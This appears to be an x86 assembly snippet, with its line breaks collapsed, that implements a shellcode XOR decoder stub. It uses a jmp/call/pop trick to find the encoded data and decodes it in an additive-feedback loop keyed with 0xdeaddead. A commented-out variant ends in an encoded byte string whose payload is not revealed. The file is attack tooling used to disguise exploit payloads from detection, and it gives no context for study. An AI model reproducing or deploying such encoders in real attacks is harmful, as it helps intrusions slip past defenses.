.globl main main: nop __BEGIN__: mov $0xdeaddead, %ebx jmp end back: pop %esi push %esi decode_loop: xor %ebx, (%esi) lodsl add %eax, %ebx test %eax, %eax jnz decode_loop ret end: call back __END__: # # additive feedback using xor key as opcodes # #main: # nop #__BEGIN__: #decoder: # xor %eax, %eax # jmp end #back: # pop %esi # push %esi #front_loop: # mov $0x48ad1e31, %ebx # add %eax, %ebx # jnz .-6 # ret #end: # call back #__END__: # .ascii "\xfd\xd2\x61\x84\x6c\xba\xe9\x45\x47\xab\x9a\xf6\xfd\xff\xff\xff"